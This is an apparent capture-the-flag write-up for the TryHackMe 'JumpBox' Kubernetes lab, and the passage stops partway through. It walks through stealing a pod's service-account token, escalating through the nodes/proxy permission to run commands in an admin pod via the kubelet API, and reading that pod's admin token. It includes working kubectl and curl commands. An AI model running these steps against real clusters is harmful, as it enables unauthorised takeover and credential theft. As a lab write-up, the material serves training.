14 minute read

jumpbox

JumpBox is a hard rated linux box on Tryhackme by ben, JohnHammond, cmnatic, timtaylor and congon4tor. It starts off with a access to a jump host which was running on kubernetes cluster. Using the privilege of a service account that is associated with that deployment, we execute commands on different pod which consists of a service account with cluster admin privileges. Using that, we create a mallicious pod mounting host root filesystem inside the container.

Nmap

Initial Scan

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ nmap -v -sC -sV -oN nmap/initial 10.10.168.15
Nmap scan report for 10.10.168.15
Host is up (0.27s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9f:ae:04:9e:f0:75:ed:b7:39:80:a0:d8:7f:bd:61:06 (RSA)
|   256 cf:cb:89:62:99:11:d7:ca:cd:5b:57:78:10:d0:6c:82 (ECDSA)
|_  256 5f:11:10:0d:7c:80:a3:fc:d1:d5:43:4e:49:f9:c8:d2 (ED25519)
80/tcp   open  http          GoTTY
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Server: GoTTY
|     Vary: Accept-Encoding
|     Date: Wed, 19 Oct 2022 07:22:52 GMT
|     Content-Length: 511
|     Content-Type: text/html; charset=utf-8
|     <!doctype html>
|     <html>
|     <head>
|     <title>/bin/sh@jumpbox-6c7549477c-dht4f</title>
|     <link rel="icon" type="image/png" href="favicon.png">
|     <link rel="stylesheet" href="./css/index.css" />
|     <link rel="stylesheet" href="./css/xterm.css" />
|     <link rel="stylesheet" href="./css/xterm_customize.css" />
|     </head>
|     <body>
|     <div id="terminal"></div>
|     <script src="./auth_token.js"></script>
|     <script src="./config.js"></script>
|     <script src="./js/gotty-bundle.js"></script>
|     </body>
|     </html>
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request
|_http-favicon: Unknown favicon MD5: BDE0B645779BAA2BECEB4A44EE065119
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: GoTTY
|_http-title: /bin/sh@jumpbox-6c7549477c-dht4f
8443/tcp open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 1f648f21-a03a-4892-8db8-c1da66f4b517
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
|     X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
|     Date: Wed, 19 Oct 2022 07:23:01 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 8105a31d-c075-43de-885c-42036bb3101f
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
|     X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
|     Date: Wed, 19 Oct 2022 07:22:59 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 80ade99a-1a6a-455e-ae2e-7dde1e09b9f3
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
|     X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
|     Date: Wed, 19 Oct 2022 07:22:59 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
| http-methods:
|_  Supported Methods: GET
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:192.168.49.2, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-01-05T23:39:08
| Not valid after:  2025-01-05T23:39:08
| MD5:   6c2d 583d a93a c670 295b 25d1 c210 72f9
|_SHA-1: 795d 7485 acbd c4c8 05e7 094e 029f 27fd 4493 3570
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.91%I=7%D=10/19%Time=634F37A8%P=aarch64-unknown-linux-gnu
SF:%r(GetRequest,29A,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20GoTTY\r\nVary:\
SF:x20Accept-Encoding\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2007:22:52\x2
SF:0GMT\r\nContent-Length:\x20511\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\n\r\n<!doctype\x20html>\n<html>\n\x20\x20<head>\n\x20\x20\x20
SF:\x20<title>/bin/sh@jumpbox-6c7549477c-dht4f</title>\n\x20\x20\x20\x20<l
SF:ink\x20rel=\"icon\"\x20type=\"image/png\"\x20href=\"favicon\.png\">\n\x
SF:20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"\./css/index\.css\"
SF:\x20/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"\./css/xt
SF:erm\.css\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\
SF:"\./css/xterm_customize\.css\"\x20/>\n\x20\x20</head>\n\x20\x20<body>\n
SF:\x20\x20\x20\x20<div\x20id=\"terminal\"></div>\n\x20\x20\x20\x20<script
SF:\x20src=\"\./auth_token\.js\"></script>\n\x20\x20\x20\x20<script\x20src
SF:=\"\./config\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"\./js/go
SF:tty-bundle\.js\"></script>\n\x20\x20</body>\n</html>\n")%r(HTTPOptions,
SF:29A,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20GoTTY\r\nVary:\x20Accept-Enco
SF:ding\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2007:22:52\x20GMT\r\nConten
SF:t-Length:\x20511\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\n\r\
SF:n<!doctype\x20html>\n<html>\n\x20\x20<head>\n\x20\x20\x20\x20<title>/bi
SF:n/sh@jumpbox-6c7549477c-dht4f</title>\n\x20\x20\x20\x20<link\x20rel=\"i
SF:con\"\x20type=\"image/png\"\x20href=\"favicon\.png\">\n\x20\x20\x20\x20
SF:<link\x20rel=\"stylesheet\"\x20href=\"\./css/index\.css\"\x20/>\n\x20\x
SF:20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"\./css/xterm\.css\"\x20
SF:/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"\./css/xterm_
SF:customize\.css\"\x20/>\n\x20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x
SF:20<div\x20id=\"terminal\"></div>\n\x20\x20\x20\x20<script\x20src=\"\./a
SF:uth_token\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"\./config\.
SF:js\"></script>\n\x20\x20\x20\x20<script\x20src=\"\./js/gotty-bundle\.js
SF:\"></script>\n\x20\x20</body>\n</html>\n")%r(RTSPRequest,67,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=10/19%Time=634F37AF%P=aarch64-unknown-l
SF:inux-gnu%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x
SF:208105a31d-c075-43de-885c-42036bb3101f\r\nCache-Control:\x20no-cache,\x
SF:20private\r\nContent-Type:\x20application/json\r\nX-Content-Type-Option
SF:s:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a5c8dc51-1beb-4524-
SF:9996-fcbdf17ad8d9\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x209a40dace-d4f
SF:e-4ce4-8625-787c338bd84b\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2007:22
SF::59\x20GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiV
SF:ersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"fo
SF:rbidden:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x
SF:20\\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")
SF:%r(HTTPOptions,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2080ade
SF:99a-1a6a-455e-ae2e-7dde1e09b9f3\r\nCache-Control:\x20no-cache,\x20priva
SF:te\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a5c8dc51-1beb-4524-9996-fc
SF:bdf17ad8d9\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x209a40dace-d4fe-4ce4-
SF:8625-787c338bd84b\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2007:22:59\x20
SF:GMT\r\nContent-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\
SF:":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden
SF::\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\
SF:\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(
SF:FourOhFourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x201f
SF:648f21-a03a-4892-8db8-c1da66f4b517\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x
SF:20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a5c8dc51-1beb-4524-9996
SF:-fcbdf17ad8d9\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x209a40dace-d4fe-4c
SF:e4-8625-787c338bd84b\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2007:23:01\
SF:x20GMT\r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersi
SF:on\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbid
SF:den:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\
SF:\"/nice\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"de
SF:tails\":{},\"code\":403}\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 19 05:19:53 2022 -- 1 IP address (1 host up) scanned in 133.67 seconds

We have 3 ports open. SSH is running on port 22, HTTP server on port 80 and kubernetes api server is running on 8443. Nmap was kind enough to check that anonymous login is disabled on the kube api server.

There is not much of an attack surface on port 22 and since we do not have any credentials to access kube api server, let us start our enumeration from port 80.

HTTP Service running on port 80

image

We get a web shell where we can execute commands.

I looked around on the usual directories like /root, /home, /opt, /var and so on but did not find anything interesting. While looking around, I found that we are inside a pod running on a kubernetes cluster.

/ $ ls -la /.dockerenv
-rwxr-xr-x    1 root     root             0 Oct 19 12:38 /.dockerenv
/ $ id
uid=1000 gid=3000 groups=2000
/ $ mount | grep secrets
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=4023084k)
/ $ hostname
jumpbox-6c7549477c-dht4f
  • We are inside a docker container.
  • We are running as user 1000.
  • This pod is part of the deployment jumpbox.

In each and every pod, a token associated with a service account is mounted. By default, if nothing is specified on the serviceAccountName while creating a deployment/pod, default service account is used and the token for this service account is mounted inside /run/secrets/kubernetes.io/serviceaccount. Since there is interesting content on this pod to look at, I started to find out the privileges that are provided to this service account.

Content of /run/secrets/kubernetes.io/serviceaccount

/run/secrets/kubernetes.io/serviceaccount $ ls -la
total 4
drwxrwsrwt    3 root     2000           140 Oct 19 14:16 .
drwxr-xr-x    3 root     root          4096 Oct 19 12:38 ..
drwxr-sr-x    2 root     2000           100 Oct 19 14:16 ..2022_10_19_14_16_01.899147705
lrwxrwxrwx    1 root     2000            31 Oct 19 14:16 ..data -> ..2022_10_19_14_16_01.899147705
lrwxrwxrwx    1 root     2000            13 Oct 19 12:37 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     2000            16 Oct 19 12:37 namespace -> ..data/namespace
lrwxrwxrwx    1 root     2000            12 Oct 19 12:37 token -> ..data/token

Token

/run/secrets/kubernetes.io/serviceaccount $ cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjk3NzE5MDcwLCJpYXQiOjE2NjYxODMwNzAsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJqdW1wYm94LTZjNzU0OTQ3N2MtZGh0NGYiLCJ1aWQiOiJhY2MwYTcwNS1kY2UzLTQxYzItYmFiYy0xNmZmYjExOWM1MzkifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im5vZGVwcm94eSIsInVpZCI6IjVmZmZlOGI4LWIyOTYtNGQ2NS1iYzc4LTA2N2Y3MDg3YzNkYyJ9LCJ3YXJuYWZ0ZXIiOjE2NjYxODY2Nzd9LCJuYmYiOjE2NjYxODMwNzAsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om5vZGVwcm94eSJ9.Kh7Q8DP3lKsshNQpg_NfirCq8xAM59BFeaxrmtYAu3my7XuMuB6t9P2C1TX2WvWRY5RpHcAcQnw5NiOj8-GpEGE68zSRsFgxOrxOyHtmXYNaR66Sq_CgROtjWjDF9AMn-8D4HKQi0XyvWSWSy06quPZxIXM-6VO6eMAUeQ65czAd1NT7AOKMtGyncWLbg5aAfN8Ocgsbd-yB9L-DHwYEpSZWgcZA9fyEH4GRQrde4b_cuHecoCebZoFw0XETNxcaX42o-7EwNEvoEPHa1YOCFTCbSxN0sv37wp3SupvlnOk9sqaPAkRENqjUXOQOAvGUgFuaqcdq-mkrIT9HZ8ToNQ

Decoding the content of the token

image The service account associated with this pod is nodeproxy and this pod is running on default namespace.

Namespace

/run/secrets/kubernetes.io/serviceaccount $ cat namespace
default

Ca.crt

/run/secrets/kubernetes.io/serviceaccount $ cat ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIyMDEwNTIwMTgyM1oXDTMyMDEwNDIwMTgyM1owFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1T
YzgsOlboYP3wxW+9b0dT2XhSqCJAk4D/IVxFC/sVBTf1mePaqSRyeIsGY1TiOzY1
T1V0CMavDKWhaG8SdnRbPT/pDoVLKv+HFgpurh5m8nTJoEIQIrM30zGzwQ+sVMZJ
e5IqqfaHw7eBVBWfex5wmtJ1BhKDUJlG4cNrEDi+z29qD8OZVQxuKsYtvym87SZA
UZf6hbsUqIXhP6m1DOJGrTr0hEy6CsfCm78DH6oZtpLzMtRSP1gYDu6KrpyeOWz3
4jdKX+CRmprp/95JSJPbZ9luYpdCjgzAKZkWKgaPnGpoO6TZrTwacjvu0qTFk8cq
AxzBkH0huspRGDEIUhcCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBTwCj9T5f5vOQrHkAJ01N5+hYMuEDANBgkqhkiG9w0BAQsFAAOCAQEAb7I4l8LQ
++Xy+Dcvj8YW9GenU3W76no9YbATK/NtqOemru21I8yD42x12UZ7xCovn5ea1MCg
tP8y+oSAQdoOt8JO2GrD/7xy64yfLJ5hqYUiJz6BCOF1576kQZI0JwB6XCXSZSwh
Jw8dcrsOMQsxOf6QdoyZ2zNUCknMm3hpUEF8xwQmWL7uo+C0EGpSJvlOKHVbZh3e
SGKvzvk7GSKTJF5FgI4G8X5/JVmDdN9Mk3kl8PKFNP6SGAIWolFMsA9iCxou1Apa
5zfKX918bnNqKmDFIJOdjadvOl8oNcCg1GaA4htOV+sFk3zxCNNGW3i+c97J1EQm
VeBlHLi+W+gtHw==
-----END CERTIFICATE-----

Accessing the cluster locally using kubectl

Let us use the above obtainer information and try to access the kube api server locally.

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true get pods --server https://10.10.93.10:8443 --token=`cat token`                                                                  
NAME                       READY   STATUS    RESTARTS       AGE
jumpbox-6c7549477c-dht4f   1/1     Running   1 (226d ago)   228d

We are able to list the pods on the default namespace.

Accessing the pods using curl

In the scenario where the kube api server was not publicly reachable, we can upload kubectl binary to the container and access kube api server from there. But in this scenario, we are neither connected to internet nor our local machine is reachable from the pod. In such case,we can make use of curl binary to contact the api server.

For this we need to know the api endpoints to hit and the query parameter. We can obtain these information from the relevant kubectl command by increasing the verbosity of the output.

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true get pods --server https://10.10.93.10:8443 --token=`cat token` -v=8
I1019 10:52:47.436488  186537 round_trippers.go:463] GET https://10.10.93.10:8443/api/v1/namespaces/default/pods?limit=500
I1019 10:52:47.436521  186537 round_trippers.go:469] Request Headers:
I1019 10:52:47.436528  186537 round_trippers.go:473]     Accept: application/json;as=Table;v=v1;g=meta.k8s.io,application/json;as=Table;v=v1beta1;g=meta.k8s.io,application/json
I1019 10:52:47.436534  186537 round_trippers.go:473]     User-Agent: kubectl/v1.25.3 (linux/arm64) kubernetes/434bfd8
I1019 10:52:47.436544  186537 round_trippers.go:473]     Authorization: Bearer <masked>
I1019 10:52:48.252780  186537 round_trippers.go:574] Response Status: 200 OK in 816 milliseconds
I1019 10:52:48.252838  186537 round_trippers.go:577] Response Headers:
I1019 10:52:48.252849  186537 round_trippers.go:580]     Audit-Id: 0e95c1c9-c6bb-46c1-8db3-113c3f083d0a
I1019 10:52:48.252858  186537 round_trippers.go:580]     Cache-Control: no-cache, private
I1019 10:52:48.252865  186537 round_trippers.go:580]     Content-Type: application/json
I1019 10:52:48.252873  186537 round_trippers.go:580]     X-Kubernetes-Pf-Flowschema-Uid: 31e0e266-992e-4fe4-9dbd-eba238837779
I1019 10:52:48.252880  186537 round_trippers.go:580]     X-Kubernetes-Pf-Prioritylevel-Uid: 1feedeb5-1685-4004-b35b-317b68e1e5b2
I1019 10:52:48.252888  186537 round_trippers.go:580]     Date: Wed, 19 Oct 2022 12:57:43 GMT
I1019 10:52:48.253164  186537 request.go:1154] Response Body: {"kind":"Table","apiVersion":"meta.k8s.io/v1","metadata":{"resourceVersion":"47895"},"columnDefinitions":[{"name":"Name","type":"string","format":"name","description":"Name must be unique within a namespace. Is required when creating resources, although some resources may allow a client to request the generation of an appropriate name automatically. Name is primarily intended for creation idempotence and configuration definition. Cannot be updated. More info: http://kubernetes.io/docs/user-guide/identifiers#names","priority":0},{"name":"Ready","type":"string","format":"","description":"The aggregate readiness state of this pod for accepting traffic.","priority":0},{"name":"Status","type":"string","format":"","description":"The aggregate status of the containers in this pod.","priority":0},{"name":"Restarts","type":"string","format":"","description":"The number of times the containers in this pod have been restarted and when the last container in this pod has restarted.","priority":0},{"name":"Age","type":"str [truncated 4203 chars]
NAME                       READY   STATUS    RESTARTS       AGE
jumpbox-6c7549477c-dht4f   1/1     Running   1 (226d ago)   228d

This is the kubectl command which list all the pods inside default namespace. The equivalent curl command to do so will be as follows.

$ curl -s -k -H "Authorization: Bearer $(cat /run/secrets/kubernetes.io/serviceaccount/token)" https://ku
bernetes.local:8443/api/v1/namespaces/default/pods
{
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {
    "resourceVersion": "48036"
  },
  "items": [
    {
      "metadata": {
        "name": "jumpbox-6c7549477c-dht4f",
        "generateName": "jumpbox-6c7549477c-",
        "namespace": "default",
        "uid": "acc0a705-dce3-41c2-babc-16ffb119c539",
        "resourceVersion": "47087",
        "creationTimestamp": "2022-03-05T03:06:52Z",
        "labels": {
          "app": "shell",
          "pod-template-hash": "6c7549477c"
          ...................[snip]...........

We get all the output in the json format and its very detailed unlike the ouput from the kubectl command. Since, the kubectl command is working in this case, we will be using kubectl from local machine.

Enumerating privileges for this service account

Now that we have a service account, let us enumerate all the privileges that are provided to this account using kubectl.

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat token` auth can-i --list                                                        
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
nodes/proxy                                     []                                    []               [get create]
deployments                                     []                                    []               [get list]
namespaces                                      []                                    []               [get list]
nodes                                           []                                    []               [get list]
pods                                            []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

Comparing with the privileges of a default service account that I pulled from my local k8s cluster, we can see that we have quite a few extra privileges and among which nodes/proxy looks interesting as we can create that resource.

╭─test@test ~
╰─$ k auth can-i --list --as=system:serviceaccount:default:default
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

Googling “nodes/proxy privilege escalation” lead me to https://blog.aquasec.com/privilege-escalation-kubernetes-rbac blog which demonstrates how using nodes/proxy privilege, we can execute command on any pod on that particular node.

Executing commands on jumpbox admin pod

If we list the pods that are running on kube-system namespace, we can see that there is one pod running jumpbox-admin-7d56d4b67d-tcpt6 which looks interesting. Other pods are pretty standard which are the components of a kubernetes cluster.

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat token` get pods -n kube-system
NAME                               READY   STATUS    RESTARTS        AGE
coredns-78fcd69978-ttkch           1/1     Running   14 (226d ago)   285d
etcd-minikube                      1/1     Running   14 (226d ago)   285d
jumpbox-admin-7d56d4b67d-tcpt6     1/1     Running   1 (226d ago)    227d
kube-apiserver-minikube            1/1     Running   14 (226d ago)   285d
kube-controller-manager-minikube   1/1     Running   14 (226d ago)   285d
kube-proxy-bglvb                   1/1     Running   14 (226d ago)   285d
kube-scheduler-minikube            1/1     Running   14 (226d ago)   285d
storage-provisioner                1/1     Running   24 (31m ago)    285d

If we follow the blog, the things that we need to execute commands are:

  1. Ability to create nodes/proxy resource
  2. Reachable kubelet port(10250) on the worker node
  3. Pod and container name to execute commands on.

The first condition is fulfilled. Let us check, if we can reach the port in which kubelet is listening inside the worker node.

Getting IP for the worker node

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat token` get nodes -o wide
NAME       STATUS   ROLES                  AGE    VERSION   INTERNAL-IP    EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION      CONTAINER-RUNTIME
minikube   Ready    control-plane,master   285d   v1.22.3   192.168.49.2   <none>        Ubuntu 20.04.2 LTS   5.4.0-100-generic   docker://20.10.8

The internal IP for the minikube node is 192.168.49.2

Checking connectivity from inside the web shell

$ curl https://192.168.49.2:10250 -k
404 page not found

We are able reach the kublet service from the web shell.

Executing commands on the jumpbox-admin pod

We have the pod name: jumpbox-admin-7d56d4b67d-tcpt6. Now for this to work, we only need the name of the container running inside this pod. Let us grab this information using kubectl.

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat token` get pods -n kube-system jumpbox-admin-7d56d4b67d-tcpt6 -o yaml | grep spec -A 10
spec:
  automountServiceAccountToken: true
  containers:
  - args:
    - infinity
    command:
    - sleep
    image: ubuntu:latest
    imagePullPolicy: IfNotPresent
    name: ubuntu
    resources: {}

The container name is ubuntu. Now that we have everything we need, let us try to execute commands inside this container.

/run/secrets/kubernetes.io/serviceaccount $ curl -k -X POST -H "Authorization: Bearer $(cat token)" https://192.168.49.2:10250/run/kube-system/jump
box-admin-7d56d4b67d-tcpt6/ubuntu -d "cmd=id"
uid=0(root) gid=0(root) groups=0(root)

We can run commands successfully inside this admin pod.

I tried to get a reverse shell as that would have make my enumeration much more easier but it looks like the outbound connectivity is blocked. So, I continued with my enumeration.

Compromising the whole kubernetes cluster

If we check the serviceaccount that is used to run this pod, it is slightly different that the previous one. The service account for this pod is admin which looks interesting.

┌──(kali㉿kali)-[~/ctf/thm/jumpbox]
└─$ kubectl --insecure-skip-tls-verify=true  --server https://10.10.93.10:8443 --token=`cat token` get pods -n kube-system jumpbox-admin-7d56d4b67d-tcpt6 -o yaml | grep serviceAccountName
  serviceAccountName: admin

Let us use this token and check if this new service account has more privileges than the one that we were using earlier.

/run/secrets/kubernetes.io/serviceaccount $ curl -k -X POST -H "Authorization: Bearer $(cat token)" https://192.168.49.2:10250/run/kube-system/jumpbox-admin-7d56d4b67d-tcpt6/ubuntu -d "cmd=cat /run/secrets/kubernetes.io/serviceaccount/token"
